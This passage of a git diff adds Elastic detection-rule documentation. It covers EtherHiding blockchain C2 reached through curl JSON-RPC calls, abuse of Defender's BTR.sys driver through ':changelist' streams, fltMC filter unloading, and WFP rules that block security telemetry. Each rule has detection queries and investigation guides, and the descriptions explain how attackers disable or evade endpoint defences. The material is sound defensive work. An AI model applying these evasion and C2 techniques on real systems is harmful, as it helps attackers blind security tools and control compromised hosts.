analyze the blockchain contract addresses or transaction data being queried to understand the malicious payload or configuration. +- Conduct a thorough malware analysis of the responsible application to identify its full capabilities and persistence mechanisms. +- Block the identified blockchain API endpoints at the network perimeter if they are not required for legitimate business purposes. +- Search for similar blockchain API connections across other endpoints to identify potential lateral movement or additional compromised systems. +- Escalate to the security operations team for comprehensive incident response if the activity confirms an active Etherhiding-based attack. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=15s + [network where host.os.type == "macos" and event.type == "start" and + (process.name in ("bash", "sh", "zsh", "osascript", "node", "Cursor", "Cursor Helper (Plugin)", "Windsurf", "Windsurf Helper (Plugin)") or + process.name like ("python*", "ruby*", "perl*", "tclsh*")) and + destination.domain like ("eth-mainnet*", "ethereum*", "eth.*.com", + "*.drpc.org", "polygon-rpc.com", "polygon-mainnet*", "*.polygon.technology", + "bsc-dataseed*", "*.bnbchain.org", "arb1.arbitrum.io", "mainnet.base.org", + "rpc.ankr.com", "*.infura.io", "*.alchemy.com", "*.quiknode.pro", + "*.publicnode.com", "*.chainstack.com")] + [file where host.os.type == "macos" and event.action == "modification" and file.extension in ("js", "py", "sh")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Web Service +** ID: T1102 +** Reference URL: https://attack.mitre.org/techniques/T1102/ +* Sub-technique: +** Name: Dead Drop Resolver +** ID: T1102.001 +** Reference URL: https://attack.mitre.org/techniques/T1102/001/ +* Sub-technique: +** Name: Bidirectional Communication +** ID: T1102.002 +** Reference URL: https://attack.mitre.org/techniques/T1102/002/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: AppleScript +** ID: T1059.002 +** Reference URL: https://attack.mitre.org/techniques/T1059/002/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-etherhiding-c2-via-curl-json-rpc-request.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-etherhiding-c2-via-curl-json-rpc-request.asciidoc new file mode 100644 index 0000000000..40f01b7014 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-etherhiding-c2-via-curl-json-rpc-request.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-34-potential-etherhiding-c2-via-curl-json-rpc-request]] +=== Potential EtherHiding C2 via Curl JSON-RPC Request + +Detects when curl or nscurl is spawned by a shell or osascript to make a JSON-RPC request to a blockchain endpoint for command and control purposes. Adversaries may leverage blockchain smart contracts as a covert C2 channel to retrieve commands or payload staging information, as observed in ClickFix campaigns. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://notes.netbytesec.com/2026/08/anatomy-of-macos-clickfix-crimekit-that.html +* https://cloud.google.com/blog/topics/threat-intelligence/dprk-adopts-etherhiding +* https://cloud.google.com/blog/topics/threat-intelligence/unc5142-etherhiding-distribute-malware + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Command and Control +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential EtherHiding C2 via Curl JSON-RPC Request* + + +EtherHiding is a command and control technique in which threat actors store malicious configuration, commands, +or payload URLs inside smart contract data on public blockchains. Because the blockchain is immutable and the +RPC endpoints are legitimate public infrastructure, this provides a takedown-resistant C2 channel. On macOS, +ClickFix-delivered loaders have been observed reading contract data by spawning curl from a shell or osascript +with a raw JSON-RPC eth_call request body. + + +*Possible investigation steps* + + +- Review process.command_line to identify the destination RPC endpoint, the contract address in the eth_call + parameters, and the method selector. +- Examine the parent process chain (process.parent.command_line, effective parent) to determine how the shell + or osascript was launched — interactive terminal, LaunchAgent, or another persistence mechanism. +- Search the same host for follow-on network connections shortly after this event; EtherHiding reads are + typically followed by a connection to the decoded C2 host. +- Check for recent LaunchAgent or LaunchDaemon plist creation on the host, which commonly accompanies this + activity as persistence. +- Search the contract address against threat intelligence sources to identify the associated campaign. +- Pivot fleet-wide on the destination RPC domain and any decoded C2 domains to identify additional hosts. + + +*False positive analysis* + + +- Web3 developers may test contract calls with curl against RPC endpoints. Verify whether the user has a + legitimate blockchain development role and whether the parent context (terminal session vs. persistence + item) matches interactive development work. +- CI or build scripts that query chain state via curl could match. Confirm with the owning team and consider + excluding specific parent scripts or hosts. + + +*Response and remediation* + + +- Isolate the affected host to interrupt the C2 channel. +- Terminate the parent shell or osascript process tree. +- Identify and remove any associated persistence (LaunchAgents/LaunchDaemons) and decoded payloads. +- Block decoded C2 domains identified from the contract data; note that blocking public RPC aggregators may + impact legitimate use and should be a risk-based decision. +- Rotate credentials accessible from the host and review for evidence of data theft. +- Escalate for full incident response if the activity chains from a ClickFix or social engineering delivery. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type == "start" and event.action == "exec" and + process.name in ("curl", "nscurl") and + process.parent.name in ("osascript", "bash", "sh", "zsh") and + process.command_line like~ ("*eth_call*", "*\"jsonrpc\"*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Web Service +** ID: T1102 +** Reference URL: https://attack.mitre.org/techniques/T1102/ +* Sub-technique: +** Name: Dead Drop Resolver +** ID: T1102.001 +** Reference URL: https://attack.mitre.org/techniques/T1102/001/ +* Sub-technique: +** Name: Bidirectional Communication +** ID: T1102.002 +** Reference URL: https://attack.mitre.org/techniques/T1102/002/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: AppleScript +** ID: T1059.002 +** Reference URL: https://attack.mitre.org/techniques/T1059/002/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-evasion-via-boot-time-removal-tool.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-evasion-via-boot-time-removal-tool.asciidoc new file mode 100644 index 0000000000..0f9fa6e061 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-evasion-via-boot-time-removal-tool.asciidoc @@ -0,0 +1,208 @@ +[[prebuilt-rule-8-19-34-potential-evasion-via-boot-time-removal-tool]] +=== Potential Evasion via Boot Time Removal Tool + +Identifies creation of a ":changelist" NTFS alternate data stream or a Windows service Args registry value pointing to a ":changelist" path. Microsoft Defender's Boot-Time Removal (BTR.sys) driver reads an RC4-encrypted transaction blob from a driver ADS named ":changelist", referenced by HKLM\SYSTEM\*ControlSet*\Services\*\Args. Adversaries can reproduce this staging outside Defender to abuse BTR.sys as a signed kernel primitive for arbitrary file and registry operations. This rule focuses on non-System writers and excludes Microsoft-signed MRT.exe running as SYSTEM, which may perform related remediation staging. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://research.checkpoint.com/2026/btr-reforged-weaponizing-defenders-remediation-driver-as-a-kernel-operation-primitive/ +* https://github.com/Dump-GUY/BTR_CLI + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Persistence +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Rule Type: ES|QL +* Platform: Windows + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Evasion via Boot Time Removal Tool* + + +Windows Defender's Boot-Time Removal driver (`BTR.sys`) is instructed via an encrypted configuration stored in an +Alternate Data Stream named `:changelist` on a `.sys` image. The service `Args` value under +`HKLM\SYSTEM\*ControlSet*\Services\\Args` points at that ADS path. Check Point Research (BTR Reforged) +showed that the same staging can be performed by non-Defender tooling (for example BTR_CLI) to drive Ring-0 file and +registry actions, including neutralization of security products during early boot. + + +*Possible investigation steps* + + +- Identify whether the alert is a file ADS creation or a service `Args` registry write using `event.category`, + `file.name` / `file.path`, and `registry.path` / `registry.data.strings`. +- Review `process.executable`, `process.name`, `process.pid`, `process.parent.executable`, and `user.id` to determine + whether a Defender component, MRT, or an unexpected user-mode binary staged the `:changelist` artifact. +- For file events, inspect the base `.sys` path (strip `:changelist`), size, hash, and code signature. Confirm whether + the driver was recently dropped under a user-writable path (Downloads, Temp, Desktop) versus a Defender-managed path. +- For registry events, note the service key name under `Services\*` and check sibling values (`ImagePath`, `Type`, + `Group`). Abuse tooling often sets `Group` to `Boot Bus Extender` and may create the service via direct registry + writes / `NtLoadDriver` without a corresponding SCM service-install event (7045). +- Hunt on the same `host.id` for related activity: creation of `*.sys:*.dat` feedback ADS, load of a Microsoft-signed + driver matching BTR, creation/deletion of `\\SystemRoot\\Temp\\BootClean.log` by PID 4, and deletions of security + binaries attributed to System. +- Correlate with other alerts for the same `user.id` and `host.id` in the prior 48 hours for privilege escalation, + driver load, or Defender tampering. + + +*False positive analysis* + + +- Legitimate Defender or MRT reboot remediation may create `:changelist` ADS and related service Args values. This rule + excludes PID 4 and Microsoft-signed `MRT.exe` as SYSTEM; unsigned or differently signed `MRT.exe` still alerts. Rare + Defender paths (for example `MsMpEng.exe`) may still match and should be validated before exceptioning. +- Security research labs intentionally exercising BTR_CLI or similar PoCs will generate true-positive-looking events; + confirm host cohort and change windows. + + +*Response and remediation* + + +- If activity is unexplained: isolate the host, preserve the `.sys` file and `:changelist` stream, export the service + registry key, and capture the staging process tree before cleanup. +- Search the estate for the same `file.name` / ADS pattern, service `Args` values containing `:changelist`, and related + driver hashes. +- Remove unauthorized service keys and staged drivers, restore any deleted security components from known-good media, + and rotate credentials for accounts that held `SeLoadDriverPrivilege` on the host. +- Restrict and monitor assignment/use of `SeLoadDriverPrivilege`; treat signed remediation drivers as LOLDrivers that + require lineage and ADS context monitoring, not signature blocking alone. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-endpoint.events.file-*, logs-endpoint.events.registry-* metadata _id, _version, _index +| where host.os.type == "windows" + and process.pid != 4 + and not ( + user.id == "S-1-5-18" + and to_lower(process.executable) like """?:\\windows\\system32\\mrt.exe""" + and process.code_signature.subject_name in ("Microsoft Windows", "Microsoft Corporation") + and process.code_signature.trusted == true + ) + and ( + ( + event.category == "file" + and event.type == "creation" + and ends_with(to_lower(file.name), ":changelist") + ) + or ( + event.category == "registry" + and event.type == "change" + and to_lower(registry.path) like """*\\system\\*controlset*\\services\\*\\args""" + and to_lower(registry.data.strings) like "*:changelist" + ) + ) +| keep + @timestamp, + host.id, + host.name, + user.id, + user.name, + process.pid, + process.name, + process.executable, + process.code_signature.subject_name, + event.category, + event.type, + file.path, + file.name, + file.size, + registry.path, + registry.value, + registry.data.strings, + data_stream.namespace, + _id, + _version, + _index +| limit 100 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Sub-technique: +** Name: NTFS File Attributes +** ID: T1564.004 +** Reference URL: https://attack.mitre.org/techniques/T1564/004/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Windows Service +** ID: T1543.003 +** Reference URL: https://attack.mitre.org/techniques/T1543/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-evasion-via-filter-manager.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-evasion-via-filter-manager.asciidoc new file mode 100644 index 0000000000..3eb74e9503 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-evasion-via-filter-manager.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-34-potential-evasion-via-filter-manager]] +=== Potential Evasion via Filter Manager + +The Filter Manager Control Program (fltMC.exe) binary may be abused by adversaries to unload a filter driver and evade defenses. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Microsoft Defender XDR +* Data Source: Windows Security Event Logs +* Data Source: Sysmon +* Data Source: SentinelOne +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Resources: Osquery + +*Version*: 221 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Evasion via Filter Manager* + + +A file system filter driver, or minifilter, is a specialized type of filter driver designed to intercept and modify I/O requests sent to a file system or another filter driver. Minifilters are used by a wide range of security software, including EDR, antivirus, backup agents, encryption products, etc. + +Attackers may try to unload minifilters to avoid protections such as malware detection, file system monitoring, and behavior-based detections. + +This rule identifies the attempt to unload a minifilter using the `fltmc.exe` command-line utility, a tool used to manage and query the filter drivers loaded on Windows systems. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Examine the command line event to identify the target driver. + - Identify the minifilter's role in the environment and if it is security-related. Microsoft provides a https://learn.microsoft.com/en-us/windows-hardware/drivers/ifs/allocated-altitudes[list] of allocated altitudes that may provide more context, such as the manufacturer. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Examine the host for derived artifacts that indicate suspicious activities: + - Observe and collect information about the following activities in the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + + +*False positive analysis* + + +- This mechanism can be used legitimately. Analysts can dismiss the alert if the administrator is aware of the activity and there are justifications for the action. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : "fltMC.exe" and process.args : "unload" and + not process.parent.executable : + ("?:\\Program Files (x86)\\ManageEngine\\UEMS_Agent\\bin\\DCFAService64.exe", + "?:\\Windows\\SysWOW64\\msiexec.exe", + "?:\\Program Files\\Bitdefender\\Endpoint Security\\installer\\installer.exe", + "?:\\Program Files\\Bitdefender\\Endpoint Security\\EPSecurityService.exe", + "?:\\Program Files\\Bitdefender\\Bitdefender Security\\productcfg.exe", + "?:\\Program Files\\Bitdefender\\Bitdefender Security\\bdservicehost.exe", + "?:\\Program Files\\Bitdefender\\EndpointSetupInformation\\{*}\\Installer.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-evasion-via-windows-filtering-platform.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-evasion-via-windows-filtering-platform.asciidoc new file mode 100644 index 0000000000..1c0cf5e4cc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-evasion-via-windows-filtering-platform.asciidoc @@ -0,0 +1,183 @@ +[[prebuilt-rule-8-19-34-potential-evasion-via-windows-filtering-platform]] +=== Potential Evasion via Windows Filtering Platform + +Identifies multiple Windows Filtering Platform block events and where the process name is related to an endpoint security software. Adversaries may add malicious WFP rules to prevent Endpoint security from sending telemetry. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/dsnezhkov/shutter/tree/main +* https://github.com/netero1010/EDRSilencer/tree/main +* https://www.mdsec.co.uk/2023/09/nighthawk-0-2-6-three-wise-monkeys/ +* https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5157 +* https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5152 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Evasion via Windows Filtering Platform* + + +The Windows Filtering Platform (WFP) is a set of API and system services that provide a platform for network filtering and packet processing. Adversaries may exploit WFP by creating malicious rules to block endpoint security processes, hindering their ability to send telemetry data. The detection rule identifies patterns of blocked network events linked to security software processes, signaling potential evasion tactics. + + +*Possible investigation steps* + + +- Review the specific network events that triggered the alert, focusing on the event.action values "windows-firewall-packet-block" and "windows-firewall-packet-drop" to understand which processes were blocked. +- Identify the process names involved in the alert from the process.name field and verify if they are related to known endpoint security software, as listed in the query. +- Check the winlog.computer_name field to determine which systems are affected and assess if multiple systems are involved, indicating a broader issue. +- Investigate the recent changes to the Windows Filtering Platform rules on the affected systems to identify any unauthorized or suspicious modifications. +- Correlate the blocked events with any recent security incidents or alerts to determine if there is a pattern or ongoing attack. +- Consult system logs and security software logs on the affected systems for additional context or anomalies around the time of the alert. +- Engage with the system or network administrators to verify if any legitimate changes were made to the WFP rules that could explain the blocked events. + + +*False positive analysis* + + +- Security software updates or installations can trigger multiple block events as they modify network configurations. Users should monitor for these events during known update windows and consider excluding them from alerts. +- Legitimate network troubleshooting or diagnostic tools may temporarily block network traffic as part of their operation. Identify these tools and create exceptions for their processes to prevent false alerts. +- Custom security configurations or policies in enterprise environments might intentionally block certain network activities. Review and document these configurations to differentiate between expected behavior and potential threats. +- Temporary network disruptions or misconfigurations can cause legitimate security processes to be blocked. Regularly audit network settings and ensure they align with security policies to minimize these occurrences. +- Scheduled maintenance or testing of security systems might result in blocked events. Coordinate with IT teams to whitelist these activities during planned maintenance periods. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity and data exfiltration. +- Terminate any suspicious processes identified in the alert, particularly those related to endpoint security software, to restore normal security operations. +- Review and remove any unauthorized or suspicious Windows Filtering Platform rules that may have been added to block security processes. +- Conduct a thorough scan of the affected system using a trusted antivirus or endpoint detection and response (EDR) tool to identify and remove any malware or persistent threats. +- Restore any affected security software to its default configuration and ensure it is fully operational and updated. +- Monitor network traffic and system logs for any signs of continued evasion tactics or re-infection attempts. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on other systems within the network. + +==== Setup + + + +*Setup* + + +The following Windows audit policies must be enabled to generate the events used by this rule: +- https://ela.st/audit-filtering-platform-connection[Audit Filtering Platform Connection] +- https://ela.st/audit-filtering-platform-packet-drop[Audit Filtering Platform Packet Drop] + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by winlog.computer_name with maxspan=1m + [network where host.os.type == "windows" and + event.action : ("windows-firewall-packet-block", "windows-firewall-packet-drop") and + process.name : ( + "bdagent.exe", "bdreinit.exe", "pdscan.exe", "pdiface.exe", "BDSubWiz.exe", "ProductAgentService.exe", + "ProductAgentUI.exe", "WatchDog.exe", "CarbonBlackClientSetup.exe", "TrGUI.exe", "TracCAPI.exe", "cpmsi_tool.exe", + "trac.exe", "vna_install64.exe", "vna_utils.exe", "TracSrvWrapper.exe", "vsmon.exe", "p95tray.exe", + "CybereasonRansomFreeServiceHost.exe", "CrAmTray.exe", "minionhost.exe", "CybereasonSensor.exe", "CylanceUI.exe", + "CylanceProtectSetup.exe", "cylancesvc.exe", "cyupdate.exe", "elastic-agent.exe", "elastic-endpoint.exe", + "egui.exe", "minodlogin.exe", "emu-rep.exe", "emu_install.exe", "emu-cci.exe", "emu-gui.exe", "emu-uninstall.exe", + "ndep.exe", "spike.exe", "ecls.exe", "ecmd.exe", "ecomserver.exe", "eeclnt.exe", "eh64.exe", "EHttpSrv.exe", + "xagt.exe", "collectoragent.exe", "FSAEConfig.exe", "uninstalldcagent.exe", "rmon.exe", "fccomint.exe", + "fclanguageselector.exe", "fortifw.exe", "fcreg.exe", "fortitray.exe", "fcappdb.exe", "fcwizard.exe", "submitv.exe", + "av_task.exe", "fortiwf.exe", "fortiwadbd.exe", "fcauth.exe", "fcdblog.exe", "fcmgr.exe", "fortiwad.exe", + "fortiproxy.exe", "fortiscand.exe", "fortivpnst.exe", "ipsec.exe", "fcwscd7.exe", "fcasc.exe", "fchelper.exe", + "forticlient.exe","fcwsc.exe", "FortiClient.exe", "fmon.exe", "FSSOMA.exe", "FCVbltScan.exe", "FortiESNAC.exe", + "EPCUserAvatar.exe", "FortiAvatar.exe", "FortiClient_Diagnostic_Tool.exe", "FortiSSLVPNdaemon.exe", "avp.exe", + "FCConfig.exe", "avpsus.exe", "klnagent.exe", "klnsacwsrv.exe", "kl_platf.exe", "stpass.exe", "klnagwds.exe", + "mbae.exe", "mbae64.exe", "mbae-svc.exe", "mbae-uninstaller.exe", "mbaeLoader32.exe", "mbaeloader64.exe", + "mbam-dor.exe", "mbamgui.exe", "mbamservice.exe", "mbamtrayctrl.exe", "mbampt.exe", "mbamscheduler.exe", + "Coreinst.exe", "mbae-setup.exe", "mcupdate.exe", "ProtectedModuleHost.exe", "ESConfigTool.exe", "FWInstCheck.exe", + "FwWindowsFirewallHandler.exe", "mfeesp.exe", "mfefw.exe", "mfeProvisionModeUtility.exe", "mfetp.exe", "avpui.exe", + "WscAVExe.exe", "mcshield.exe", "McChHost.exe", "mfewc.exe", "mfewch.exe", "mfewcui.exe", "fwinfo.exe", + "mfecanary.exe", "mfefire.exe", "mfehidin.exe", "mfemms.exe", "mfevtps.exe", "mmsinfo.exe", "vtpinfo.exe", + "MarSetup.exe", "mctray.exe", "masvc.exe", "macmnsvc.exe", "McAPExe.exe", "McPvTray.exe", "mcods.exe", + "mcuicnt.exe", "mcuihost.exe", "xtray.exe", "McpService.exe", "epefprtrainer.exe", "mfeffcoreservice.exe", + "MfeEpeSvc.exe", "qualysagent.exe", "QualysProxy.exe", "QualysAgentUI.exe", "SVRTgui.exe", "SVRTcli.exe", + "SVRTcli.exe", "SVRTgui.exe", "SCTCleanupService.exe", "SVRTservice.exe", "native.exe", "SCTBootTasks.exe", + "ALMon.exe", "SAA.exe", "SUMService.exe", "ssp.exe", "SCFService.exe", "SCFManager.exe", "spa.exe", "cabarc.exe", + "sargui.exe", "sntpservice.exe", "McsClient.exe", "McsAgent.exe", "McsHeartbeat.exe", "SAVAdminService.exe", + "sav32cli.exe", "ForceUpdateAlongSideSGN.exe", "SAVCleanupService.exe", "SavMain.exe", "SavProgress.exe", + "SavProxy.exe", "SavService.exe", "swc_service.exe", "swi_di.exe", "swi_service.exe", "swi_filter.exe", + "ALUpdate.exe", "SophosUpdate.exe", "ALsvc.exe", "SophosAlert.exe", "osCheck.exe", "N360Downloader.exe", + "InstWrap.exe", "symbos.exe", "nss.exe", "symcorpui.exe", "isPwdSvc.exe", "ccsvchst.exe", "ntrmv.exe", + "pccntmon.exe", "AosUImanager.exe", "NTRTScan.exe", "TMAS_OL.exe", "TMAS_OLImp.exe", "TMAS_OLSentry.exe", + "ufnavi.exe", "Clnrbin.exe", "vizorhtmldialog.exe", "pwmConsole.exe", "PwmSvc.exe", "coreServiceShell.exe", + "ds_agent.exe", "SfCtlCom.exe", "MBAMHelper.exe", "cb.exe", "smc.exe", "tda.exe", "xagtnotif.exe", "ekrn.exe", + "dsa.exe", "Notifier.exe", "rphcp.exe", "lc_sensor.exe", "CSFalconService.exe", "CSFalconController.exe", + "SenseSampleUploader.exe", "windefend.exe", "MSASCui.exe", 